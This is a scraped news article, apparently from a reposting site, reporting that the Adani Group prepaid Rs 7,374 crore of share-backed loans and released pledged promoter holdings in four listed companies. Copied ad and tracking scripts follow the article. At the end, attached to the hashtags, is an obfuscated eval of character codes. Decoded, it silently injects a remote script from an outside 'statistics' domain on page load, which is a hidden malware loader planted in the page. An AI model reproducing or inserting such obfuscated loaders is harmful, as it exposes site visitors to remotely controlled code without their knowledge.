Adani Group prepays debt of Rs 7,374cr

[ad_1] MUMBAI: Adani Group chairman Gautam Adani will release a significant chunk of the pledged shares related to four listed companies that bear his name after paying off Rs 16,577 crore of loans way ahead of their maturity dates. On Tuesday, his conglomerate announced repayment of Rs 7,374 crore of borrowings backed by shares before their scheduled payment date of April 2025. Last month, it had settled share-backed financing of Rs 9,203 crore ahead of their maturity of September 2024.With the Tuesday prepayment of loans against shares, promoter holdings of 11.8% in Adani Ports & Special Economic Zone, 4% in Adani Enterprises, 4.5% in Adani Transmission and 1.2% in Adani Green Energy will be released, the group said in a statement. It didn't mention the extent of loan repaid to release each of the four companies' shares. It also didn't mention how the promoters financed the loan repayment. Last week, the promoters had raised Rs 15,446 crore by selling part of their stake in four listed companies to Australia-listed US-based asset manager GQG Partners. Sources said part of the sale proceeds were used to repay borrowings backed by pledged shares.!(function(f, b, e, v, n, t, s) { window.TimesApps = window.TimesApps || {}; const { TimesApps } = window; TimesApps.loadFBEvents = function() { (function(f, b, e, v, n, t, s) { if (f.fbq) return; n = f.fbq = function() { n.callMethod ? n.callMethod(...arguments) : n.queue.push(arguments); }; if (!f._fbq) f._fbq = n; n.push = n; n.loaded = !0; n.version = '2.0'; n.queue = []; t = b.createElement(e); t.async = !0; t.defer = !0; t.src = v; s = b.getElementsByTagName(e)[0]; s.parentNode.insertBefore(t, s); })(f, b, e, v, n, t, s); fbq('init', '593671331875494'); fbq('track', 'PageView'); }; })( window, document, 'script', 'https://connect.facebook.net/en_US/fbevents.js', );if(typeof window !== 'undefined') { window.TimesApps = window.TimesApps || {}; const { TimesApps } = window; TimesApps.loadScriptsOnceAdsReady = () => { var scripts = [ 'https://www.googletagmanager.com/gtag/js?id=AW-877820074', 'https://www.googletagmanager.com/gtag/js?id=AW-658129294', 'https://timesofindia.indiatimes.com/grxpushnotification_js/minify-1,version-2.cms', 'https://connect.facebook.net/en_US/sdk.js#version=v10.0&xfbml=true', 'https://timesofindia.indiatimes.com/locateservice_js/minify-1,version-14.cms' ]; scripts.forEach(function(url) { let script = document.createElement('script'); script.type="text/javascript"; if(!false && !false && !false && url.indexOf('colombia_v2')!== -1){ script.src = url; } else if (!false && !false && !false && url.indexOf('sdkloader')!== -1) { script.src = url; } else if (!false && (url.indexOf('tvid.in/sdk') !== -1 || url.indexOf('connect.facebook.net') !== -1 || url.indexOf('locateservice_js') !== -1 )) { script.src = url; } else if (url.indexOf('colombia_v2')== -1 && url.indexOf('sdkloader')== -1 && url.indexOf('tvid.in/sdk')== -1 && url.indexOf('connect.facebook.net') == -1){ script.src = url; } script.async = true; script.defer = true; document.body.appendChild(script); }); } } #Adani #Group #prepays #debt #7374crvar f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/